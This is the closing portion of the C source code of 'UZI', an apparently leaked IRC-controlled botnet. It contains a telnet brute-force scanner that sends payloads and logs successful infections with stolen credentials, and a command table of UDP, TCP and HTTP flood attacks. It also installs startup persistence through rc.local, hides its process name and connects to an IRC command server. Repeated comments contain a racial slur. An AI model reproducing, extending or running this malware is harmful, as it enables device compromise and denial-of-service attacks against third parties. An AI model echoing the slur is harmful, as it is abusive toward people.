2089 | Send(sock, "PRIVMSG %s :13[UZI] [-] FTPGET PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]); | |
2090 | reset_telstate(&fds[i]); | |
2091 | } | |
2092 | else { | |
2093 | Send(sock, "PRIVMSG %s :13[UZI] [+] PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]); | |
2094 | if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, infectconfirm)) { | |
2095 | Send(sock, "PRIVMSG %s :13[UZI] [+] SUCCESSFUL INFECTION ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]); | |
2096 | reset_telstate(&fds[i]); | |
2097 | continue; | |
2098 | } | |
2099 | } | |
2100 | ||
2101 | if(fds[i].tTimeout + 60 < time(NULL)) { | |
2102 | if(fds[i].complete!=3) { | |
2103 | Send(sock, "PRIVMSG %s :13[UZI] [-] FAILED TO INFECT ---> [%s:%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]); | |
2104 | } | |
2105 | reset_telstate(&fds[i]); | |
2106 | } | |
2107 | break; | |
2108 | } | |
2109 | ||
2110 | } | |
2111 | } | |
2112 | } | |
2113 | } | |
2114 | ||
2115 | void uzitelscanargs(int sock) { | |
2116 | uint32_t parent; | |
2117 | parent = fork(); | |
2118 | int forks = sysconf(_SC_NPROCESSORS_ONLN); | |
2119 | int fds = forks * 512; //Far effective. 100 sockets for each CPU. - ZoneHax | |
2120 | if(parent > 0) { | |
2121 | scanPid = parent; | |
2122 | return; | |
2123 | } | |
2124 | else if(parent == -1) return; | |
2125 | int ii; | |
2126 | for(ii = 0; ii < forks; ii++) { | |
2127 | srand((time(NULL) ^ getpid()) + getppid()); | |
2128 | init_rand(time(NULL) ^ getpid()); | |
2129 | uzitelscan(5000, fds, sock); | |
2130 | } | |
2131 | return; | |
2132 | } | |
2133 | ||
2134 | void uziscanstart(int sock, char *sender, int argc, char **argv) { | |
2135 | if(argc < 1) { | |
2136 | Send(sock, "NOTICE %s :UZIBRUTE <ON/OFF>\n", sender); | |
2137 | return; | |
2138 | } | |
2139 | if(!strcmp(argv[1], "ON")) { | |
2140 | if(scanPid == 0) { | |
2141 | uzitelscanargs(sock); | |
2142 | if(scanPid != 0) { | |
2143 | Send(sock, "PRIVMSG %s :4[UZI] 6[+] UZIBRUTE STARTED!\n", chan); //Scanner has been started successfully!!! | |
2144 | return; | |
2145 | } else { | |
2146 | Send(sock, "PRIVMSG %s :4[UZI] 6[-] FAILED TO START UZIBRUTE!\n", chan); | |
2147 | return; | |
2148 | } | |
2149 | } else { | |
2150 | Send(sock, "PRIVMSG %s :4[UZI] 6[+] UZIBRUTE ALREADY STARTED!\n", chan); | |
2151 | return; | |
2152 | } | |
2153 | } | |
2154 | if(!strcmp(argv[1], "OFF")) { | |
2155 | if(scanPid != 0) { | |
2156 | if(kill(scanPid, 9) == 0) { | |
2157 | Send(sock, "PRIVMSG %s :4 6[UZI] [+] UZIBRUTE KILLED!\n", chan); | |
2158 | scanPid = 0; | |
2159 | return; | |
2160 | } else { | |
2161 | Send(sock, "PRIVMSG %s :4[UZI] 6[-] FAILED TO KILL UZIBRUTE!\n", chan); | |
2162 | return; | |
2163 | } | |
2164 | } else { | |
2165 | Send(sock, "PRIVMSG %s :4[UZI] 6[+] UZIBRUTE NOT STARTED!\n", chan); | |
2166 | return; | |
2167 | } | |
2168 | } else { | |
2169 | Send(sock, "NOTICE %s :4[UZI] 11[+] UZIBRUTE <ON/OFF>\n", sender); | |
2170 | return; | |
2171 | } | |
2172 | } | |
2173 | // Good IRC Client - Skid edited by zonehax (you can see this retard name all over it, fucking nigger) | |
2174 | // Leaked by unknown, reposted by Scarface. 23/5/2018 | |
2175 | struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = { | |
2176 | { "QUDP", udpbiatch }, | |
2177 | { "QTCP", sendTCP}, | |
2178 | { "STD", regstd}, | |
2179 | { "TSTD", threadstd}, | |
2180 | { "QHOLD", hold }, | |
2181 | { "QJUNK", junk }, | |
2182 | { "RUDP", rawUDP }, | |
2183 | { "UZIBRUTE", uziscanstart }, | |
2184 | { "NICK", nickc }, | |
2185 | { "UZIMUSTDIE", killd }, | |
2186 | { "HTTPFLOOD", HTTP }, | |
2187 | { "KILLALL", killall }, | |
2188 | { "HELP", help }, | |
2189 | { "PACKETSIZECHANGE", train_ps }, | |
2190 | { "MAXBOOTCHANGE", max_bt }, | |
2191 | { "MAXATTACKTHREADS", max_threads }, | |
2192 | { (char *)0, (void (*)(int,char *,int,char **))0 } }; | |
2193 | ||
2194 | void _PRIVMSG(int sock, char *sender, char *str) { | |
2195 | int i; | |
2196 | char *to, *message; | |
2197 | for (i=0;i<strlen(str) && str[i] != ' ';i++); | |
2198 | str[i]=0; | |
2199 | to=str; | |
2200 | message=str+i+2; | |
2201 | for (i=0;i<strlen(sender) && sender[i] != '!';i++); | |
2202 | sender[i]=0; | |
2203 | if (*message == '!' && !strcasecmp(to,chan)) { | |
2204 | char *params[12], name[1024]={0}; | |
2205 | int num_params=0, m; | |
2206 | message++; | |
2207 | for (i=0;i<strlen(message) && message[i] != ' ';i++); | |
2208 | message[i]=0; | |
2209 | if (strwildmatch(message,nick)) return; | |
2210 | message+=i+1; | |
2211 | if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock, "NOTICE %s :Unable to comply.\n", sender); else Send(sock, "%s\n",message+4); | |
2212 | m=strlen(message); | |
2213 | for (i=0;i<m;i++) { | |
2214 | if (*message == ' ' || *message == 0) break; | |
2215 | name[i]=*message; | |
2216 | message++; | |
2217 | } | |
2218 | for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++; | |
2219 | num_params++; | |
2220 | if (num_params > 10) num_params=10; | |
2221 | params[0]=name; | |
2222 | params[num_params+1]="\0"; | |
2223 | m=1; | |
2224 | while (*message != 0) { | |
2225 | message++; | |
2226 | if (m >= num_params) break; | |
2227 | for (i=0;i<strlen(message) && message[i] != ' ';i++); | |
2228 | params[m]=(char*)malloc(i+1); | |
2229 | strncpy(params[m],message,i); | |
2230 | params[m][i]=0; | |
2231 | m++; | |
2232 | message+=i; | |
2233 | } | |
2234 | for (m=0; flooders[m].cmd != (char *)0; m++) { | |
2235 | if (!strcasecmp(flooders[m].cmd,name)) { | |
2236 | flooders[m].func(sock,sender,num_params-1,params); | |
2237 | for (i=1;i<num_params;i++) free(params[i]); | |
2238 | return; | |
2239 | } | |
2240 | } | |
2241 | } | |
2242 | } | |
2243 | void _376(int sock, char *sender, char *str) { | |
2244 | Send(sock,"MODE %s -xi\n",nick); | |
2245 | Send(sock,"JOIN %s :%s\n",chan,key); | |
2246 | Send(sock,"WHO %s\n",nick); | |
2247 | } | |
2248 | void _PING(int sock, char *sender, char *str) { | |
2249 | Send(sock,"PONG %s\n",str); | |
2250 | } | |
2251 | void _352(int sock, char *sender, char *str) { | |
2252 | int i,d; | |
2253 | char *msg=str; | |
2254 | struct hostent *hostm; | |
2255 | unsigned long m; | |
2256 | for (i=0,d=0;d<5;d++) { | |
2257 | for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++; | |
2258 | if (i == strlen(str)) return; | |
2259 | } | |
2260 | for (i=0;i<strlen(msg) && msg[i] != ' ';i++); | |
2261 | msg[i]=0; | |
2262 | if (!strcasecmp(msg,nick) && !spoofsm) { | |
2263 | msg=str; | |
2264 | for (i=0,d=0;d<3;d++) { | |
2265 | for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++; | |
2266 | if (i == strlen(str)) return; | |
2267 | } | |
2268 | for (i=0;i<strlen(msg) && msg[i] != ' ';i++); | |
2269 | msg[i]=0; | |
2270 | if ((m = inet_addr(msg)) == -1) { | |
2271 | if ((hostm=gethostbyname(msg)) == NULL) { | |
2272 | ||
2273 | return; | |
2274 | } | |
2275 | memcpy((char*)&m, hostm->h_addr, hostm->h_length); | |
2276 | } | |
2277 | ((char*)&spoofs)[3]=((char*)&m)[0]; | |
2278 | ((char*)&spoofs)[2]=((char*)&m)[1]; | |
2279 | ((char*)&spoofs)[1]=((char*)&m)[2]; | |
2280 | ((char*)&spoofs)[0]=0; | |
2281 | spoofsm=256; | |
2282 | } | |
2283 | } | |
2284 | void _433(int sock, char *sender, char *str) { | |
2285 | free(nick); | |
2286 | nick=makestring(); | |
2287 | } | |
2288 | void _NICK(int sock, char *sender, char *str) { | |
2289 | int i; | |
2290 | for (i=0;i<strlen(sender) && sender[i] != '!';i++); | |
2291 | sender[i]=0; | |
2292 | if (!strcasecmp(sender,nick)) { | |
2293 | if (*str == ':') str++; | |
2294 | if (nick) free(nick); | |
2295 | nick=strdup(str); | |
2296 | } | |
2297 | } | |
2298 | struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = { | |
2299 | { "352", _352 }, | |
2300 | { "376", _376 }, | |
2301 | { "433", _433 }, | |
2302 | { "422", _376 }, | |
2303 | { "PRIVMSG", _PRIVMSG }, | |
2304 | { "PING", _PING }, | |
2305 | { "NICK", _NICK }, | |
2306 | { (char *)0, (void (*)(int,char *,char *))0 } }; | |
2307 | void con() { | |
2308 | struct sockaddr_in srv; | |
2309 | unsigned long ipaddr,start; | |
2310 | int flag; | |
2311 | struct hostent *hp; | |
2312 | start: | |
2313 | sock=-1; | |
2314 | flag=1; | |
2315 | if (changeservers == 0) server=servers[rand()%numservers]; | |
2316 | changeservers=0; | |
2317 | while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0); | |
2318 | if (inet_addr(server) == 0 || inet_addr(server) == -1) { | |
2319 | if ((hp = gethostbyname(server)) == NULL) { | |
2320 | server=NULL; | |
2321 | close(sock); | |
2322 | goto start; | |
2323 | } | |
2324 | bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length); | |
2325 | } | |
2326 | else srv.sin_addr.s_addr=inet_addr(server); | |
2327 | srv.sin_family = AF_INET; | |
2328 | srv.sin_port = htons(cnport); | |
2329 | ioctl(sock,FIONBIO,&flag); | |
2330 | start=time(NULL); | |
2331 | while(time(NULL)-start < 10) { | |
2332 | errno=0; | |
2333 | if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) { | |
2334 | setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0); | |
2335 | setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0); | |
2336 | setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0); | |
2337 | return; | |
2338 | } | |
2339 | if (!(errno == EINPROGRESS ||errno == EALREADY)) break; | |
2340 | sleep(1); | |
2341 | } | |
2342 | server=NULL; | |
2343 | close(sock); | |
2344 | goto start; | |
2345 | } | |
2346 | int main(int argc, char **argv) { | |
2347 | printf("UZI\n"); | |
2348 | int on,i; | |
2349 | char cwd[256],*str; | |
2350 | FILE *file; | |
2351 | #ifdef STARTUP | |
2352 | str="/etc/rc.d/rc.local"; | |
2353 | file=fopen(str,"r"); | |
2354 | if (file == NULL) { | |
2355 | str="/etc/rc.conf"; | |
2356 | file=fopen(str,"r"); | |
2357 | } | |
2358 | if (file != NULL) { | |
2359 | char outfile[256], buf[1024]; | |
2360 | int i=strlen(argv[0]), d=0; | |
2361 | getcwd(cwd,256); | |
2362 | if (strcmp(cwd,"/")) { | |
2363 | while(argv[0][i] != '/') i--; | |
2364 | sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i); | |
2365 | while(!feof(file)) { | |
2366 | fgets(buf,1024,file); | |
2367 | if (!strcasecmp(buf,outfile)) d++; | |
2368 | } | |
2369 | if (d == 0) { | |
2370 | FILE *out; | |
2371 | fclose(file); | |
2372 | out=fopen(str,"a"); | |
2373 | if (out != NULL) { | |
2374 | fputs(outfile,out); | |
2375 | fclose(out); | |
2376 | } | |
2377 | } | |
2378 | else fclose(file); | |
2379 | } | |
2380 | else fclose(file); | |
2381 | } | |
2382 | #endif | |
2383 | if (fork()) exit(0); | |
2384 | getOurIP(); | |
2385 | #ifdef FAKENAME | |
2386 | strncpy(argv[0],FAKENAME,strlen(argv[0])); | |
2387 | for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on])); | |
2388 | #endif | |
2389 | srand((time(NULL) ^ getpid()) + getppid()); | |
2390 | nick=makestring(); | |
2391 | ident=BOTident; | |
2392 | user=BOTuser; | |
2393 | chan=CHAN; | |
2394 | key=KEY; | |
2395 | server=NULL; | |
2396 | sa: | |
2397 | #ifdef IDENT | |
2398 | for (i=0;i<numpids;i++) { | |
2399 | if (pids[i] != 0 && pids[i] != getpid()) { | |
2400 | kill(pids[i],9); | |
2401 | waitpid(pids[i],NULL,WNOHANG); | |
2402 | } | |
2403 | } | |
2404 | pids=NULL; | |
2405 | numpids=0; | |
2406 | identd(); | |
2407 | #endif | |
2408 | con(); | |
2409 | Send(sock, "NICK [%s|%s]%s\nUSER %s localhost localhost :%s\n", PREFIX, getBuild(), nick, user, ident); | |
2410 | while(1) { | |
2411 | unsigned long i; | |
2412 | fd_set n; | |
2413 | struct timeval tv; | |
2414 | FD_ZERO(&n); | |
2415 | FD_SET(sock,&n); | |
2416 | tv.tv_sec=60*20; | |
2417 | tv.tv_usec=0; | |
2418 | if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa; | |
2419 | for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) { | |
2420 | unsigned int *newpids,on; | |
2421 | for (on=i+1;on<numpids;on++) pids[on-1]=pids[on]; | |
2422 | pids[on-1]=0; | |
2423 | numpids--; | |
2424 | newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int)); | |
2425 | for (on=0;on<numpids;on++) newpids[on]=pids[on]; | |
2426 | free(pids); | |
2427 | pids=newpids; | |
2428 | } | |
2429 | if (FD_ISSET(sock,&n)) { | |
2430 | char buf[4096], *str; | |
2431 | int i; | |
2432 | if ((i=recv(sock,buf,4096,0)) <= 0) goto sa; | |
2433 | buf[i]=0; | |
2434 | str=strtok(buf,"\n"); | |
2435 | while(str && *str) { | |
2436 | char name[1024], sender[1024]; | |
2437 | filter(str); | |
2438 | if (*str == ':') { | |
2439 | for (i=0;i<strlen(str) && str[i] != ' ';i++); | |
2440 | str[i]=0; | |
2441 | strcpy(sender,str+1); | |
2442 | strcpy(str,str+i+1); | |
2443 | } | |
2444 | else strcpy(sender,"*"); | |
2445 | for (i=0;i<strlen(str) && str[i] != ' ';i++); | |
2446 | str[i]=0; | |
2447 | strcpy(name,str); | |
2448 | strcpy(str,str+i+1); | |
2449 | for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str); | |
2450 | if (!strcasecmp(name,"ERROR")) goto sa; | |
2451 | str=strtok((char*)NULL,"\n"); | |
2452 | } | |
2453 | } | |
2454 | } | |
2455 | return 0; | |
2456 | } | |
2457 | // Good IRC Client - Skid edited by zonehax (you can see this retard name all over it, fucking nigger) | |
2458 | // Leaked by unknown, reposted by Scarface. 23/5/2018 |